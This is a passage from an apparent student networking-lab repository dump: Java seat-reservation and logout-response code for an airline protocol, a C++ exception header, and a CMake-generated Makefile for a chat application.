sql = "SELECT iditem, reservedSeats"
+ " FROM caddieitem"
+ " WHERE fk_idairplane=?"
+ " AND fk_idairline=?"
+ " AND fk_departure=?"
+ " AND fk_destination=?"
+ " AND fk_idcaddie=?"
+ " FOR UPDATE";
resultSet = this.database.executeQuery(sql, statementMap);
if(resultSet.next())
{
//maj de l'item
sql = "UPDATE caddieitem"
+ " SET reservedSeats = " + (resultSet.getInt("reservedSeats") + billet.getNbAccompagnant())
+ " WHERE iditem=" + resultSet.getInt("iditem");
}
else
{
//insert de l'item
statementMap.put(6,billet.getNbAccompagnant() );
sql = "INSERT INTO caddieitem"
+ " (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idcaddie`, `reservedSeats`)"
+ " VALUES(?, ?, ?, ?, ?, ?)";
}
if( this.database.executeUpdate(sql, statementMap) == 1)
{
//insertion ok
this.database.commit();
//envoie de la réponse
for(int i = 1; i <= billet.getNbAccompagnant(); i++)
{
places.add(Integer.valueOf(placeRestant + i));
}
this.communication.send(ReponseReserver.OK(priceUnit * billet.getNbAccompagnant(),places,getKeySecret()));
}
else
{
//error lors de maj ou de l'insert
this.database.rollback();
//envoie de la réponse KO
this.communication.send(ReponseReserver.KO("error de la réservation"));
}
}
else
{
this.database.rollback();
//plus assez de place reponse
this.communication.send(ReponseReserver.KO("Plus assez de place"));
}
}
}
}catch (NoSuchAlgorithmException | NoSuchProviderException | NoSuchPaddingException
| CryptographieSymetriqueException | ClassNotFoundException | IOException e) {
try {
this.communication.send(ReponseReserver.KO("Error decrypt"));
} catch (NoSuchAlgorithmException | NoSuchProviderException | NoSuchPaddingException | IOException
| CryptographieSymetriqueException e1) {
traceEvent("Error : " + e1.getMessage());
}
traceEvent("Error RequeteVol: " + e.getMessage());
} catch (SQLException | InterruptedException e) {
traceEvent("Error db: " + e.getMessage());
try {
this.database.rollback();
} catch (SQLException e1) {
traceEvent("Error db: " + e1.getMessage());
}
}
} catch (communicationException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
public byte[] getBillet() {
return encryptBillet;
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/QuitApp.h
#ifndef LIBRAIRIES_QUITAPP_H
#define LIBRAIRIES_QUITAPP_H
#include <string>
#include <cstring>
class QuitApp : public std::exception {
protected:
std::string message;
public:
QuitApp();
QuitApp(std::string msg);
QuitApp(const QuitApp &orig);
~QuitApp() throw();
virtual const char* what() const throw();
};
#endif //LIBRAIRIES_QUITAPP_H
<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/reponse/Reponse_logout.java
package network.protocole.lugap.reponse;
import java.io.Serializable;
import generic.server.AReponse;
public class Reponse_logout extends AReponse implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private Reponse_logout(String message, boolean successful) {
super(message, successful);
}
public static Reponse_logout OK(){
return new Reponse_logout("", true);
}
public static Reponse_logout KO(String message){
return new Reponse_logout(message, false);
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/cmake-build-debug/Makefile
# CMAKE generated file: DO NOT EDIT!
# Generated by "Unix Makefiles" Generator, CMake Version 3.8
# Default target executed when no arguments are given to make.
default_target: all
.PHONY : default_target
# Allow only one "make -f Makefile2" at a time, but pass parallelism.
.NOTPARALLEL:
#=============================================================================
# Special targets provided by cmake.
# Disable implicit rules so canonical targets will work.
.SUFFIXES:
# Remove some rules from gmake that .SUFFIXES does not remove.
SUFFIXES =
.SUFFIXES: .hpux_make_needs_suffix_list
# Suppress display of executed commands.
$(VERBOSE).SILENT:
# A target that is always out of date.
cmake_force:
.PHONY : cmake_force
#=============================================================================
# Set environment variables for the build.
# The shell in which to execute make rules.
SHELL = /bin/sh
# The CMake executable.
CMAKE_COMMAND = /Applications/CLion.app/Contents/bin/cmake/bin/cmake
# The command to remove a file.
RM = /Applications/CLion.app/Contents/bin/cmake/bin/cmake -E remove -f
# Escaping for special characters.
EQUALS = =
# The top-level source directory on which CMake was run.
CMAKE_SOURCE_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation5/Application_CIAChat
# The top-level build directory on which CMake was run.
CMAKE_BINARY_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation5/Application_CIAChat/cmake-build-debug
#=============================================================================
# Targets provided globally by CMake.
# Special rule for the target rebuild_cache
rebuild_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)
.PHONY : rebuild_cache
# Special rule for the target rebuild_cache
rebuild_cache/fast: rebuild_cache
.PHONY : rebuild_cache/fast
# Special rule for the target edit_cache
edit_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available.
.PHONY : edit_cache
# Special rule for the target edit_cache
edit_cache/fast: edit_cache
.PHONY : edit_cache/fast
# The main all target
all: cmake_check_build_system
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation5/Application_CIAChat/cmake-build-debug/CMakeFiles /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation5/Application_CIAChat/cmake-build-debug/CMakeFiles/progress.marks
$(MAKE) -f CMakeFiles/Makefile2 all
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation5/Application_CIAChat/cmake-build-debug/CMakeFiles 0
.PHONY : all
# The main clean target
clean:
$(MAKE) -f CMakeFiles/Makefile2 clean
.PHONY : clean
# The main clean target
clean/fast: clean
.PHONY : clean/fast
# Prepare targets for installation.
preinstall: all
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall
# Prepare targets for installation.
preinstall/fast:
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall/fast
# clear depends
depend:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1
.PHONY : depend
#=============================================================================
# Target rules for targets named Application_CIAChat
# Build rule for target.
Application_CIAChat: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 Application_CIAChat
.PHONY : Application_CIAChat
# fast build rule for target.
Application_CIAChat/fast:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/build
.PHONY : Application_CIAChat/fast
#=============================================================================
# Target rules for targets named Librairies
# Build rule for target.
Librairies: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 Librairies
.PHONY : Librairies
# fast build rule for target.
Librairies/fast:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/build
.PHONY : Librairies/fast
Application_CIAChat_IN.o: Application_CIAChat_IN.cpp.o
.PHONY : Application_CIAChat_IN.o
# target to build an object file
Application_CIAChat_IN.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Application_CIAChat_IN.cpp.o
.PHONY : Application_CIAChat_IN.cpp.o
Application_CIAChat_IN.i: Application_CIAChat_IN.cpp.i
.PHONY : Application_CIAChat_IN.i
# target to preprocess a source file
Application_CIAChat_IN.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Application_CIAChat_IN.cpp.i
.PHONY : Application_CIAChat_IN.cpp.i
Application_CIAChat_IN.s: Application_CIAChat_IN.cpp.s
.PHONY : Application_CIAChat_IN.s
# target to generate assembly for a file
Application_CIAChat_IN.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Application_CIAChat_IN.cpp.s
.PHONY : Application_CIAChat_IN.cpp.s
ClientException.o: ClientException.cpp.o
.PHONY : ClientException.o
# target to build an object file
ClientException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ClientException.cpp.o
.PHONY : ClientException.cpp.o
ClientException.i: ClientException.cpp.i
.PHONY : ClientException.i
# target to preprocess a source file
ClientException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ClientException.cpp.i
.PHONY : ClientException.cpp.i
ClientException.s: ClientException.cpp.s
.PHONY : ClientException.s
# target to generate assembly for a file
ClientException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ClientException.cpp.s
.PHONY : ClientException.cpp.s
IACOP.o: IACOP.cpp.o
.PHONY : IACOP.o
# target to build an object file
IACOP.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOP.cpp.o
.PHONY : IACOP.cpp.o
IACOP.i: IACOP.cpp.i
.PHONY : IACOP.i
# target to preprocess a source file
IACOP.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOP.cpp.i
.PHONY : IACOP.cpp.i
IACOP.s: IACOP.cpp.s
.PHONY : IACOP.s
# target to generate assembly for a file
IACOP.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOP.cpp.s
.PHONY : IACOP.cpp.s
IACOPException.o: IACOPException.cpp.o
.PHONY : IACOPException.o
# target to build an object file
IACOPException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOPException.cpp.o
.PHONY : IACOPException.cpp.o
IACOPException.i: IACOPException.cpp.i
.PHONY : IACOPException.i
# target to preprocess a source file
IACOPException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOPException.cpp.i
.PHONY : IACOPException.cpp.i
IACOPException.s: IACOPException.cpp.s
.PHONY : IACOPException.s
# target to generate assembly for a file
IACOPException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/IACOPException.cpp.s
.PHONY : IACOPException.cpp.s
Launcher.o: Launcher.cpp.o
.PHONY : Launcher.o
# target to build an object file
Launcher.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Launcher.cpp.o
.PHONY : Launcher.cpp.o
Launcher.i: Launcher.cpp.i
.PHONY : Launcher.i
# target to preprocess a source file
Launcher.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Launcher.cpp.i
.PHONY : Launcher.cpp.i
Launcher.s: Launcher.cpp.s
.PHONY : Launcher.s
# target to generate assembly for a file
Launcher.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Launcher.cpp.s
.PHONY : Launcher.cpp.s
Message.o: Message.cpp.o
.PHONY : Message.o
# target to build an object file
Message.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Message.cpp.o
.PHONY : Message.cpp.o
Message.i: Message.cpp.i
.PHONY : Message.i
# target to preprocess a source file
Message.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Message.cpp.i
.PHONY : Message.cpp.i
Message.s: Message.cpp.s
.PHONY : Message.s
# target to generate assembly for a file
Message.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Message.cpp.s
.PHONY : Message.cpp.s
MulticastSocket.o: MulticastSocket.cpp.o
.PHONY : MulticastSocket.o
# target to build an object file
MulticastSocket.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/MulticastSocket.cpp.o
.PHONY : MulticastSocket.cpp.o
MulticastSocket.i: MulticastSocket.cpp.i
.PHONY : MulticastSocket.i
# target to preprocess a source file
MulticastSocket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/MulticastSocket.cpp.i
.PHONY : MulticastSocket.cpp.i
MulticastSocket.s: MulticastSocket.cpp.s
.PHONY : MulticastSocket.s
# target to generate assembly for a file
MulticastSocket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/MulticastSocket.cpp.s
.PHONY : MulticastSocket.cpp.s
QuitApp.o: QuitApp.cpp.o
.PHONY : QuitApp.o
# target to build an object file
QuitApp.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/QuitApp.cpp.o
.PHONY : QuitApp.cpp.o
QuitApp.i: QuitApp.cpp.i
.PHONY : QuitApp.i
# target to preprocess a source file
QuitApp.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/QuitApp.cpp.i
.PHONY : QuitApp.cpp.i
QuitApp.s: QuitApp.cpp.s
.PHONY : QuitApp.s
# target to generate assembly for a file
QuitApp.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/QuitApp.cpp.s
.PHONY : QuitApp.cpp.s
ThreadReception.o: ThreadReception.cpp.o
.PHONY : ThreadReception.o
# target to build an object file
ThreadReception.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ThreadReception.cpp.o
.PHONY : ThreadReception.cpp.o
ThreadReception.i: ThreadReception.cpp.i
.PHONY : ThreadReception.i
# target to preprocess a source file
ThreadReception.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ThreadReception.cpp.i
.PHONY : ThreadReception.cpp.i
ThreadReception.s: ThreadReception.cpp.s
.PHONY : ThreadReception.s
# target to generate assembly for a file
ThreadReception.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/ThreadReception.cpp.s
.PHONY : ThreadReception.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.i:
